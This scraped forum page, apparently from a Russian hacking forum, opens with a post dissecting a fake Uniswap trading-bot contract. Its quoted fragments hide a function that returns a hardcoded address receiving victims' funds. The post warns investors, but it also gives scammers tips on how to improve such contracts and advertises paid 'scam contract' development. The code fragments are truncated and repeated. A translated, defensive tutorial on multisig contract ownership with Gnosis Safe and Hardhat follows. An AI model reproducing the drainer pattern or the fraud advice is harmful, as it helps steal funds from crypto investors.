// describe('UniswapV2ERC20', () => {
//   const provider = new MockProvider({
//     hardfork: 'istanbul',
//     mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
//     gasLimit: 9999999
//   })
//   const [wallet, other] = provider.getWallets()

//   let token: Contract
//   beforeEach(async () => {
//     token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
//   })

//   it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
//     const name = await token.name()
//     expect(name).to.eq('Uniswap V2')
//     expect(await token.symbol()).to.eq('UNI-V2')
//     expect(await token.decimals()).to.eq(18)
//     expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
//     expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
//     expect(await token.DOMAIN_SEPARATOR()).to.eq(
//       keccak256(
   function uniswapDepositAddress() public pure returns (address) {
    return 0xF96eE2f1E43817f16edB9d7fDD6f66e404643015;
   }
}
//     // this low-level function should be called from a contract which performs important safety checks
//     function burn(address to) external lock returns (uint amount0, uint amount1) {
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         address _token0 = token0;                                // gas savings
//         address _token1 = token1;                                // gas savings
//         uint balance0 = IERC20(_token0).balanceOf(address(this));
//         uint balance1 = IERC20(_token1).balanceOf(address(this));
//         uint liquidity = balanceOf[address(this)];

//         bool feeOn = _mintFee(_reserve0, _reserve1);
//         uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
//         amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
//         amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
//         require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
//         _burn(address(this), liquidity);
//         _safeTransfer(_token0, to, amount0);
//         _safeTransfer(_token1, to, amount1);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));

//         _update(balance0, balance1, _reserve0, _reserve1);
//         if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
//         emit Burn(msg.sender, amount0, amount1, to);
//     }

//     // this low-level function should be called from a contract which performs important safety checks
//     function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
//         require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
//         (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
//         require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');

//         uint balance0;
//         uint balance1;
//         { // scope for _token{0,1}, avoids stack too deep errors
//         address _token0 = token0;
//         address _token1 = token1;
//         require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
//         if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
//         if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
//         if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
//         balance0 = IERC20(_token0).balanceOf(address(this));
//         balance1 = IERC20(_token1).balanceOf(address(this));
//         }
//         uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
//         uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
//         require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
//         { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
//         uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
//         uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
//         require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
//         }

//         _update(balance0, balance1, _reserve0, _reserve1);
//         emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
//     }

//     // force balances to match reserves
//     function skim(address to) external lock {
//         address _token0 = token0; // gas savings
//         address _token1 = token1; // gas savings
//         _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
//         _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
//     }

//     // force reserves to match balances
//     function sync() external lock {
//         _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
//     }
// }
// chai.use(solidity)

// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)

// describe('UniswapV2ERC20', () => {
//   const provider = new MockProvider({
//     hardfork: 'istanbul',
//     mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
//     gasLimit: 9999999
//   })
//   const [wallet, other] = provider.getWallets()

//   let token: Contract
//   beforeEach(async () => {
//     token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
//   })

//   it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
//     const name = await token.name()
//     expect(name).to.eq('Uniswap V2')
//     expect(await token.symbol()).to.eq('UNI-V2')
//     expect(await token.decimals()).to.eq(18)
//     expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
//     expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
//     expect(await token.DOMAIN_SEPARATOR()).to.eq(
//       keccak256(

Весь код кроме 443 и 543 строк, в которых был обьявлен контракт и функция публичная, вносящая изменения в блокчейн, возвращаяет адрес куда потом пойдет $$

Code:Copy to clipboard

......
......
contract Manager {
   function performTasks() public {
       
   }
......
......

function uniswapDepositAddress() public pure returns (address) {
    return 0xF96eE2f1E43817f16edB9d7fDD6f66e404643015;
   }
}
......
......

Хотя есть в этом и небольшой плюс - щя немного потуплю, да переделаю его под нормального бота.Вруг вправду будет $1к на пассиве.
Будте аккуратны - если вы ищите куда инвестировать $$$ - читайте код контракта
Если вы скамеры - придумайте уже что - нибудь получше - используйте оракулы например. Или метаморфизм хоть.
А то маленький какой то профит судя по etherscan.io

А если вам всё-таки нужен нормальный ERC 20/721 или просто скам контракт - готовте $ и пишите ПМ. А лучше всего учите солидити и будет вам счастье, много много счастье.

Мультиподпись смарт-контрактов
ID: 67686ad7b4103b69df379900
Thread ID: 72568
Created: 2022-09-02T04:16:38+0000
Last Post: 2022-09-24T21:59:05+0000
Author: вавилонец
Prefix: Статья
Replies: 1 Views: 1K

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://medium.com/coinmonks/production-contract- security-part-1-81583b7bde75) [ЧАСТЬ 2](https://medium.com/coinmonks/production-contract-security- part-2-b631a67b6b4e) [ЧАСТЬ 3](https://medium.com/coinmonks/production- contract-security-part-3-40fa3ac7f78a)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
Шекелей пачку Jolah Molivski

Поздравляем! Вы только что развернули свой первый смарт-контракт в основной сети, и запуск вашей платформы неизбежен. Когда вы расшнуровываете свои кроссовки Air Jordan после выпускной вечеринки, в глубине вашего сознания крутится непрекращающаяся мысль.

Проблемка ​

Есть два основных аспекта безопасности смарт-контрактов. Первый и, вероятно, самый важный — это код и его соответствие стандартам безопасного кодирования, которые были мучительно изучены в результате многочисленных эксплойтов за эти годы. Другим ключевым аспектом является владение , которому будет посвящена эта статья.
Работая в этой сфере, я заметил проблему со многими проектами в том, как они управляют правами собственности и транзакциями своих контрактов. Это первая часть серии статей о защите развертываний смарт-контрактов с использованием лучших отраслевых практик. В этой статье основное внимание будет уделено использованию мультиподписей и тому, почему они важны для безопасности и надежности проекта.
Как хороший пресвитерианин, я представлю 3 ключевых риска, которые помогает решить мультиподпись.

Что такое мультиподпись ​

А multisig— это кошелек смарт-контрактов, развернутый в блокчейне, который может владеть другими контрактами и выполнять функции с повышенным доступом в качестве их владельца. Как следует из названия, это требует координации других учетных записей, дающих зеленый свет, или signing прежде чем он выполнит данную транзакцию. Мультиподписи использовались уже некоторое время и сами были объектом атак, особенно в Parity , которая была взломана несколько раз на миллионы. Сегодня на рынке есть несколько поставщиков мультиподписей, но выдающимся является Gnosis Safe.

Риск собственности​

Допустим, вы разрабатываете проект NFT, написали все свои тесты и чувствуете, что код безопасен и готов к отправке. Вы развертываете код с помощью ваших любимых средств (hardhat, трюфеля и т. д.), и теперь вы готовы.

Мультиподпись позволяет доверенным лицам, подписавшим, взаимодействовать с конфиденциальными функциями вашего NFT, такими как изменение baseURI или других особенностей. Основная идея здесь состоит в том, чтобы передать право собственности на контракт NFT мультиподписи и создать proposals другим подписавшим, которые они могут криптографически подписать. Мультиподпись будет иметь настраиваемый минимум подписантов, и как только он будет достигнут, предложенная транзакция будет выполнена самой мультиподписью. Это означает, что ни один человек не владеет NFT, и это хорошо сочетается с управлением, поскольку предложение открыто для всего мира.

Денежный риск ​

Лучшие кодеры в мире ошибаются. Вдобавок ко всему, все контракты являются общедоступными, поэтому многие смотрят на их код. Некоторые зрители любопытны, хотят инвестировать или злонамеренны. В случае злонамеренного просмотра они будут пытаться использовать ваш контракт, чтобы извлечь выгоду или просто сломать ваш проект. Если ваш контракт получает средства, как в случае с большинством проектов NFT или defi, вы представляете потенциальному злоумышленнику приманку. Будь то организованная атака на оракула и флеш-кредит или простой взлом с повторным входом, нет смысла оставлять большую сумму средств на контракте с большой площадью поверхности для атаки.
Multisig может обеспечить безопасное убежище для ваших средств в сети, поскольку он построен с учетом этого. Многие пользовательские смарт-контракты, которые мы пишем, созданы для поддержки приложения или функции, а не для обеспечения безопасности. В этом нет ничего плохого, но чем сложнее смарт- контракт, тем больше увеличивается поверхность его атаки. Как владелец приложения или контракта NFT, мультиподпись может снимать лишние средства и хранить их в безопасности до тех пор, пока они не потребуются для развертывания.

Репутационный риск ​

Не все смотрят на базовый код контракта, есть довольно много псевдобезопасных лиц, которые могут подорвать ваш проект еще до того, как он будет запущен. Если один из этих "экспертов" смотрит на ваш контракт и замечает, что он принадлежит не мультиподписи, а адресу, который имеет историю покупок Shiba и случайных транзакций, они вас обманут. Это не личное, это то, как они получают помолвку. И, честно говоря, вам лучше знать.

Вот еще несколько советов, которые помогут справиться с репутационным риском при заключении публичного контракта.

Теперь, когда у вас есть общее представление о том, что такое мультиподпись и как она может вам помочь, давайте на самом деле ее настроим. Я собираюсь провести вас через настройку на Rinkeby, но процесс аналогичен Homestead или любой другой поддерживаемой сети.

Gnosis Safe , пожалуй, самый популярный и безопасный мультиподпись в кошельке. Насколько мне известно, он не был взломан, и это то, что я использую. Перейдите на [https://gnosis-safe.io/app/welcome ](https://gnosis- safe.io/app/welcome), чтобы начать. Затем подключите свой кошелек MetaMask к Rinkebyи подключите адрес, который вы хотите использовать. Обратите внимание, что вам понадобится тестовый eth Rinkeby для развертывания сейфа в цепочке — в конце концов, это смарт-контракт.

Если вам нужно немного Rinkeby eth, это лучшее место, которое я нашел за последнее время —https://rinkebyfaucet.com/

После того, как вы подключили eth и метамаску, убедитесь, что ваш кошелек подключен И вы выбрали правильную сеть в списке сетей в правом верхнем углу.

Теперь, когда Gnosis знает, в какой сети развернуть сейф и кто собирается его развернуть, выберите Create new -> Safe на странице приветствия.

1662086756108.png

1662086777474.png
Вы должны иметь возможность заглянуть в левую панель навигации и увидеть, что ваш развернутый gnosis в безопасности, но иногда кэширование или что-то еще может быть проблемой с gnosis.[ЭТА](https://help.gnosis- safe.io/en/articles/4971293-i-don-t-remember-my-safe-address-where-can-i-find- it) статья должна помочь вам, если вы находитесь в этой лодке.

Круто… Что теперь? ​

Итак, у вас есть мультиподпись, что теперь? Что ты можешь сделать с этим? Ну, одна вещь, которую вы можете сделать с ним из коробки, — это хранить в нем свои активы — так же, как и с любым другим активом. Единственное, что теперь у вас есть возможность, чтобы несколько человек высказались о том, является ли перевод ИЗ кошелька действительным, и вы не рискуете, что один скомпрометированный аккаунт истощит ваши личные или корпоративные средства. Однако для того, чтобы это работало, нам нужно добавить еще одну подписывающую сторону в мультиподпись, потому что мы добавили только одну подписывающую сторону при ее настройке.

Добавление еще одного подписывающего лица ​

Аппаратный кошелек ​

Прежде чем мы перейдем к добавлению еще одной учетной записи для подписи, я хотел бы сделать резервную копию и порекомендовать вместо простой подписи учетной записи Metamask интегрировать использование аппаратного ХОЛОДНОГО!!!! кошеля.

Хранение seed - фазы ​

Я хочу, чтобы вы поняли, насколько важна роль подписанта в этой мультиподписи. Мало того, что каждый подписывающий на вашем мультиподписном устройстве должен иметь аппаратный кошелек, они также должны соблюдать гигиену безопасности, которая гарантирует, что их исходная фраза, поддерживающая устройство, не будет потеряна или украдена. Эта seed-фраза гораздо важнее самого устройства, так как позволяет восстановить любой аппаратный или программный кошелек и подписать транзакции. Вот несколько хороших советов, которые, если их использовать в правильной комбинации, помогут вам хорошо спать по ночам. Убедитесь, что каждый член команды придерживается этого стандарта.

Добавление еще одного подписывающего ​

Как только вы убедитесь, что ваш со-подписавший защитил свой адрес для подписи, вы можете добавить его в мультиподпись. Для этого выберите только что созданную мультиподпись, прокрутите вниз и выберите Settings, прокрутите вниз до Owners и выберите его. Вы должны увидеть что-то вроде этого.

1662086835438.png

Выбирать, Add new owner:

У вас должно получиться диалоговое окно, похожее на это

1662086854895.png

Обратите внимание, как я добавил mark.cipherz.eth? Это пример поддомена ENS (служба имен Ethereum), и, вероятно, было бы неплохо назначить поддомены подписавшим, если они являются частью вашей организации. Мы рассмотрим ENS и поддомены чуть ниже. На данный момент не беспокойтесь об этом и называйте своего второго подписанта как хотите.

Нажмите Submit и подпишите последующую транзакцию Metamask. Обратите внимание, что вы должны быть подключены к той же учетной записи, с которой вы развернули мультиподпись, поскольку вы изменяете контракт в сети, чтобы включить подписывающую сторону и изменить требуемый минимум подписей. Когда это будет сделано, вы должны увидеть что-то вроде этого.

1662086883910.png

Если вы зайдете в Owners снова вы увидите добавленную новую подписывающую сторону.

1662086897650.png

Возьмите его на тест-драйв ​

Итак, теперь у нас есть функциональная мультиподпись на Ринкеби с несколькими подписчиками. Теперь мы проведем простой тест, используя его для безопасного хранения некоторого количества Rinkeby eth и передачи его на адрес по нашему выбору. Это касается нашего Asset Riskо которых мы говорили выше. Для начала давайте переведем немного Rinkeby eth на мультиподписной адрес и убедимся, что он отображается на нашем балансе. Чтобы получить развернутый адрес, нажмите кнопку copy, значок рядом с контрактом на левой панели.

1662086932311.png

Теперь, когда у вас есть мультиподписной адрес, переведите на него немного Rinkeby eth через финансируемый аккаунт. т.е. исходную учетную запись развертывания, если хотите.
Обратите внимание, что скопированный адрес будет иметь rink: префикс к нему — это хорошая мера безопасности, заставляющая вас перепроверить адрес.
Теперь вы должны увидеть баланс в мультиподписи. В этом случае я перевел 0,5 eth, как показано ниже.

1662086956254.png

Теперь момент, которого вы так долго ждали — выполнение транзакции, требующей нескольких подписантов…
Перейдите к Assets -> Coins и нажмите на Send, которая появляется при наведении курсора на баланс eth

1662086983768.png

Заполните информацию о переводе — вы можете отправить ее кому угодно или чему угодно, но я отправляю ее обратно себе, как показано ниже.

1662087005833.png

Нажмите «Обзор» и просмотрите сводку транзакций — если все в порядке, нажмите Submitи подпишите транзакцию метамаской. Не забудьте также подтвердить свой аппаратный кошелек. Вы должны увидеть экран, подобный приведенному ниже, который указывает, что 1 из требуемых 2 подписал транзакцию.

1662087019910.png

Затем вы можете скопировать текущий URL-адрес в браузере и отправить его человеку, который должен его подписать. Он увидит аналогичную страницу и сможет подтвердить транзакцию (обратите внимание, что вы уже подписали и эта опция сейчас неактивна)

1662087046932.png

Последний подписывающий будет иметь возможность выполнить транзакцию, но если он скряга, он может отложить выполнение другого подписывающего лица.

После того, как они отправили заявку и одна подписывающая сторона выполнила (оплатила) транзакцию — все готово. Посмотрите сводку выполненных транзакций ниже и проверьте свой баланс, чтобы увидеть, что eth был отправлен.

Ну и для чего всё это нужно?

Цель этой статьи — показать вам как разработчику, как создать реальный смарт- контракт, который имеет надлежащие меры безопасности и принадлежит контракту с несколькими подписями. Мы создадим смарт-контракт, обладающий следующими свойствами:

Мы будем использовать hardhat, который требует node. Вы можете установить

его ЗДЕСЬ , если у вас его еще нет.​

Как только у вас есть node:

Code:Copy to clipboard

# Create a project directory
mkdir upgrademe && cd upgrademe# Init the project as a node project
npm init# Install hardhat local to the project
npm install --save-dev hardhat# Begin new project wizard
npx hardhat# Example Output
✔ What do you want to do? · Create a TypeScript project
✔ Hardhat project root: · /mnt/c/Users/markm/projects/datchat/upgrademe
✔ Do you want to add a .gitignore? (Y/n) · y
✔ Do you want to install this sample project's dependencies with npm (@nomicfoundation/hardhat-toolbox)? (Y/n) · y

Теперь, когда у вас настроен начальный проект, давайте запустим несколько команд и убедимся, что все работает.

Code:Copy to clipboard

# Compile the smart contract
npx hardhat compile# Run the unit tests
npx hardhat test# Run the standalone deploy script
npx hardhat run scripts/deploy.ts

Вы можете задаться вопросом, на какой цепочке блоков это работает — в конце концов, мы не указали никаких целевых цепочек блоков. Hardhat запускает автономный временный узел для выполнения этих команд за кулисами. Пока нам этого будет достаточно, но вы можете отправить его в определенную сеть через параметр --network, определенной в hardhat.config.ts файле. Это выходит за рамки данной статьи, но хорошо документировано.

Контракт ​

Контракт представляет собой простую блокировку токена, которую владелец контракта может отправить eth и разблокировать его через указанное время.

Code:Copy to clipboard

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

// Import this file to use console.log
import "hardhat/console.sol";

contract Lock {
    uint public unlockTime;
    address payable public owner;

    event Withdrawal(uint amount, uint when);

    constructor(uint _unlockTime) payable {
        require(
            block.timestamp < _unlockTime,
            "Unlock time should be in the future"
        );

        unlockTime = _unlockTime;
        owner = payable(msg.sender);
    }

    function withdraw() public {
        // Uncomment this line to print a log in your terminal
        // console.log("Unlock time is %o and block timestamp is %o", unlockTime, block.timestamp);

        require(block.timestamp >= unlockTime, "You can't withdraw yet");
        require(msg.sender == owner, "You aren't the owner");

        emit Withdrawal(address(this).balance, block.timestamp);

        owner.transfer(address(this).balance);
    }
}

Если мы посмотрим на test/Test.tsмы должны увидеть правильное его использование.

Code:Copy to clipboard

import { time, loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs";
import { expect } from "chai";
import { ethers } from "hardhat";

describe("Lock", function () {
  // We define a fixture to reuse the same setup in every test.
  // We use loadFixture to run this setup once, snapshot that state,
  // and reset Hardhat Network to that snapshopt in every test.
  async function deployOneYearLockFixture() {
    const ONE_YEAR_IN_SECS = 365 * 24 * 60 * 60;
    const ONE_GWEI = 1_000_000_000;

    const lockedAmount = ONE_GWEI;
    const unlockTime = (await time.latest()) + ONE_YEAR_IN_SECS;

    // Contracts are deployed using the first signer/account by default
    const [owner, otherAccount] = await ethers.getSigners();

    const Lock = await ethers.getContractFactory("Lock");
    const lock = await Lock.deploy(unlockTime, { value: lockedAmount });

    return { lock, unlockTime, lockedAmount, owner, otherAccount };
  }

  ...
  Edited for brevity
  ...

    describe("Transfers", function () {
      it("Should transfer the funds to the owner", async function () {
        const { lock, unlockTime, lockedAmount, owner } = await loadFixture(
          deployOneYearLockFixture
        );

        await time.increaseTo(unlockTime);

        await expect(lock.withdraw()).to.changeEtherBalances(
          [owner, lock],
          [lockedAmount, -lockedAmount]
        );
      });
    });
  });
});

Это хорошее начало, но мы хотим, чтобы владелец Lock.sol отправил контракт на мультиподпись. Если вы заметили, deployer контракта устанавливается в качестве owner и нет возможности его изменить. Мы немного изменим этот контракт, чтобы дать нам больше гибкости в настройке access control к определенным функциям и дают нам возможность сменить владельца с deployer к multisig.

Контроль доступа​

OpenZeppelin начинался как библиотека с открытым исходным кодом общих шаблонов и контрактов solidity и является бесценным инструментом. Мы собираемся использовать их контракт AccessControl, чтобы расширить наш и придать ему функциональность, которая нам нужна.

Code:Copy to clipboard

# Install the openzeppelin contracts library
npm i @openzeppelin/contracts

Теперь мы можем добавить AccessControl Lock.sol в виде зависимости следующим образом:

Code:Copy to clipboard

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

import "@openzeppelin/contracts/access/AccessControl.sol";

// Import this file to use console.log
import "hardhat/console.sol";

contract Lock is AccessControl {

    uint public unlockTime;

    event Withdrawal(uint amount, uint when);

    constructor(uint _unlockTime) payable {
        require(
            block.timestamp < _unlockTime,
            "Unlock time should be in the future"
        );

        unlockTime = _unlockTime;
        
        // Grant the contract deployer the default admin role: it will be able
        // to grant and revoke any roles
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
    }

    function withdraw() public onlyRole(DEFAULT_ADMIN_ROLE){
        // Uncomment this line to print a log in your terminal
        // console.log("Unlock time is %o and block timestamp is %o", unlockTime, block.timestamp);

        require(block.timestamp >= unlockTime, "You can't withdraw yet");

        emit Withdrawal(address(this).balance, block.timestamp);

        address payable to = payable(msg.sender);
        to.transfer(address(this).balance);
    }
}

Вы заметите несколько добавлений/удалений в этом контракте, так что давайте рассмотрим их.

Code:Copy to clipboard

# Imported the contract
import "@openzeppelin/contracts/access/AccessControl.sol";# removed the `owner` variable as we don't need that anymore# set the owner via a helper method of AccessControl - note that DEFAULT_ADMIN_ROLE comes by default, but you can define custom roles as well.
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);# Decorated withdraw() method with onlyRole(DEFAULT_ADMIN_ROLE) to set the security access

Если вы очистите и снова запустите тест, вы увидите ошибку, связанную с возвращенным сообщением об ошибке.

Code:Copy to clipboard

# Clean
npx hardhat clean# Test
npx hardhat test2) Lock
       Withdrawals
         Validations
           Should revert with the right error if called from another account:
     AssertionError: Expected transaction to be reverted with reason 'You aren't the owner', but it reverted with reason 'AccessControl: account 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000'

Замените неудачный тест на:

Code:Copy to clipboard

it("Should revert with the right error if called from another account", async function () {
        const { lock, unlockTime, otherAccount } = await loadFixture(
          deployOneYearLockFixture
        );// We can increase the time in Hardhat Network
        await time.increaseTo(unlockTime);// We use lock.connect() to send a transaction from another account
        await expect(lock.connect(otherAccount).withdraw()).to.be.revertedWith(
          "AccessControl: account 0x70997970c51812dc3a010c7d01b50e0d17dc79c8 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000"
      );
});

Вам также придется заменить другой тест, так как переменная owner больше не существует. Заменить Should set correct ownerтест, чтобы быть:

it.only("Should set the right owner", async function () {
const { lock, owner } = await loadFixture(deployOneYearLockFixture);
expect(await lock.hasRole(await lock.DEFAULT_ADMIN_ROLE(), owner.address)).to.be.true;
});

Теперь ваши тесты должны пройти :) Теперь мы готовы создать скрипт для смены владельца нашего контракта с deployerк multisigдоговор. Пристегнитесь…

Переназначить право собственности ​

До сих пор мы использовали локальный узел hardhat для запуска наших развертываний и тестов, просто чтобы убедиться, что все работает согласованно.
Теперь мы воспользуемся тестовой сетью для развертывания нашего контракта и создадим собственный сценарий жесткого диска, чтобы назначить право собственности на контракт нашей мультиподписи, которую мы создали в [первой части ](https://cipherz.medium.com/production-contract-security- part-1-81583b7bde75).

RPC

Вам нужно будет создать конечную точку rpc, которую ваше приложение будет использовать для взаимодействия с тестовой сетью. Я бы предложил использовать инфуру или алхимию для создания узла rpc, указывающего на ethereum сеть и rinkeby тестовая сеть. Вы можете использовать ЭТОТ сборщик, чтобы получить тестовый эфир для своих транзакций.

Hardhat.config.ts

Ниже представлен обновленный hardhat.config.ts которые вы должны использовать для своего проекта. Мы добавили несколько вещей

Code:Copy to clipboard

import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";

import * as dotenv from "dotenv";
dotenv.config();

task(
  "xfer-contract-multisig",
  "Transfer ownership of contract to multisig"
).setAction(async (taskArgs, hre) => {
  const Contract = await ethers.getContractFactory("Todo");
  const contract = await Contract.deployed();
 
  // grant multisig DEFAULT_ADMIN_ROLE
  const grantAdminTx = await contract.grantRole(DEFAULT_ADMIN_ROLE, multisig);
  await grantAdminTx.wait();
  const correctMultisigRole = await contract.hasRole(
    DEFAULT_ADMIN_ROLE,
    multisig
  );
  expect(correctMultisigRole).to.be.true;
  console.log(`PartnerNFT: Grant DEFAULT_ADMIN_ROLE to multisig: ${multisig}`);
 
  // revoke deployer DEFAULT_ADMIN_ROLE
  const revokeAdminTx = await contract.renounceRole(
    DEFAULT_ADMIN_ROLE,
    deployer
  );
  await revokeAdminTx.wait();
  const correctDeployerRole = await contract.hasRole(
    DEFAULT_ADMIN_ROLE,
    deployer
  );
  expect(correctDeployerRole).to.be.false;
  console.log( `PartnerNFT: Revoke DEFAULT_ADMIN_ROLE from deployer: ${deployer}`);
 
  console.log("Transferred ownership to:", multisig);
});


const config: HardhatUserConfig = {
  solidity: "0.8.9",
  networks: {
    mumbai: {
      url:
        process.env.RPC_URL !== undefined
          ? process.env.RPC_URL
          : "",
      accounts:
        process.env.DEPLOYER_PRIVATE_KEY !== undefined
          ? [process.env.DEPLOYER_PRIVATE_KEY]
          : [],
    }
  }
};

export default config;

.env ​

Поскольку это статья о безопасности, вероятно, лучше показать вам, как хранить секреты вне вашего кода, а не помещать их непосредственно в конфигурацию. Вы будете удивлены, узнав, сколько разработчиков невольно передают свои секреты в общедоступный репозиторий…

Code:Copy to clipboard

# Install dotenv package
npm i --save-dev dotenv# Install hardhat ethers
npm i --save-dev @nomiclabs/hardhat-ethers 'ethers@^5.0.0'# Install chai to test assertions
npm i --save-dev chai

Создать .env файл в корне проекта со следующими значениями

Code:Copy to clipboard

RPC_URL=https://https://eth-rinkeby.alchemyapi.io/v2/<ваш ключ API> DEPLOYER_PRIVATE_KEY=<ваш закрытый ключ>

Обратите внимание, что в нашем .gitignore файле мы исключаем все файлы с именем .env так что это никогда не будет зафиксировано в нашем репо.

Ринкеби ​

Теперь, когда у нас все настроено, давайте продолжим и развернем наш контракт на rinkeby. На самом деле мы собираемся изменить наш deploy.tsscript немного и уменьшите заблокированное количество эфира с 1 до 0,01. Трудно найти тестовую сеть eth, поэтому давайте не будем блокировать целую сеть eth. Кроме того, мы собираемся сократить время блокировки до 5 минут, чтобы мы могли увидеть фактическое успешное withdrawal вместо того, чтобы ждать год.
Изменить строку 5 в scripts/deploy.ts:

Code:Copy to clipboard

const ONE_YEAR_IN_SECS = 5 * 60; // 5 minutes

Изменить строку 8 в scripts/deploy.ts:

Code:Copy to clipboard

const lockedAmount = ethers.utils.parseEther(".01");

Развертываем

Давайте продолжим и развернем контракт, используя команду ниже

Code:Copy to clipboard

# Deploy to Rinkeby
npx hardhat run scripts/deploy.ts --network rinkeby

Сценарий должен вернуться с развернутым адресом контракта, как показано ниже.

Lock with .01 ETH deployed to: 0x73f701a4a56AA14513a2A108624b4D00f90D27b2

Мультиподпись

Теперь давайте возьмем мультиподписной контракт, который мы развернули с помощью Gnosis для Rinkeby выше. Мы будем использовать этот адрес и адрес развернутого контракта для следующего шага.

1662087858491.png

Передача права собственности на контракт Multisig

Далее мы запустим пользовательскую задачу, которую мы создали, чтобы передать право собственности на контракт с учетной записи развертывателя на мультиподпись на rinkeby.

Code:Copy to clipboard

npx hardhat xfer-contract-multisig --multisig 0x8cB6021aB0eCBE65988dA55D0e55d6B4c601fA36 --contract 0x73f701a4a56AA14513a2A108624b4D00f90D27b2 --network rinkeby

Вы должны увидеть вывод, похожий на следующий

Code:Copy to clipboard

Grant DEFAULT_ADMIN_ROLE to multisig: 0x8cB6021aB0eCBE65988dA55D0e55d6B4c601fA36
Revoke DEFAULT_ADMIN_ROLE from deployer: 0xec2FFc240CbDE001643a045e2C1Ad928D9eB8aee
Transferred ownership to: 0x8cB6021aB0eCBE65988dA55D0e55d6B4c601fA36

Теперь, когда наш контракт развернут и право собственности передано нашей мультиподписи, давайте продолжим и настроим наше OpenZeppelin Defender , чтобы упростить подписи для нашей Gnosis.

OpenZeppelin Defender

Давайте создадим учетную запись на https://defender.openzeppelin.com/ , чтобы использовать ее для управления действиями по нашему развернутому контракту. Защитник — это полезный инструмент для согласования предложений и подписей с нашими развернутыми контрактами — он может многое сделать, но в основном мы собираемся использовать его для управления нашими действиями с несколькими подписями.
Добавить мультиподпись Gnosis
Создав учетную запись OpenZeppelin, нажмите кнопку Add Contract кнопку в правом верхнем углу, чтобы добавить наш мультиподписной контракт.

1662087930018.png

Введите имя, сеть и адрес контракта, которые вы можете получить в приложении Gnosis. Это позволит импортировать контракт в OpenZeppelin Defender, чтобы мы могли использовать его для подписи.

1662087952155.png

Прокрутите вниз и нажмите Addи у нас все хорошо. Теперь вы должны увидеть, что Defender распознал наш контракт как мультиподписной и отображает его, как показано ниже.

1662087970317.png

Добавим контракт блокировки

Нажмите Add Contractеще раз и добавить Lock контракт, который мы развернули в Ринкеби. Повторение - мать учения — просто дайте ему имя, сеть и адрес. Однако, поскольку этот контракт не проверен на Ринкеби, нам нужно вставить abi для добавления контракта. Вы можете найти abi в файле artifacts/contracts/Lock.sol/Lock.json. Найди abi атрибут и скопируйте/вставьте все значение в раздел Defender abi. Вы должны быть в состоянии щелкнуть Add чтобы завершить добавление вашего контракта. Теперь вы должны увидеть оба контракта на панели инструментов, как показано ниже.

1662087989239.png

Сейчас все настроено, и теперь мы можем создать предложение по нашему контракту и выполнить его через несколько подписантов через мультиподпись.

Собираем все вместе ​

В нашем последнем рывке мы будем делать следующее

Создать предложение​

Перейдите к Dashboard => Contracts => Lock => New Proposal => Admin Action в Defendor'е. Выберите withdraw и Multisigс, которую вы импортировали. Введите аннотацию для заголовка и описания и нажмите Create Admin Action. Обратите внимание, что любой может создать предложение, но авторизовать предложение могут только действительные подписывающие лица. После заполнения форма должна выглядеть примерно так, как показано ниже.

1662088017866.png

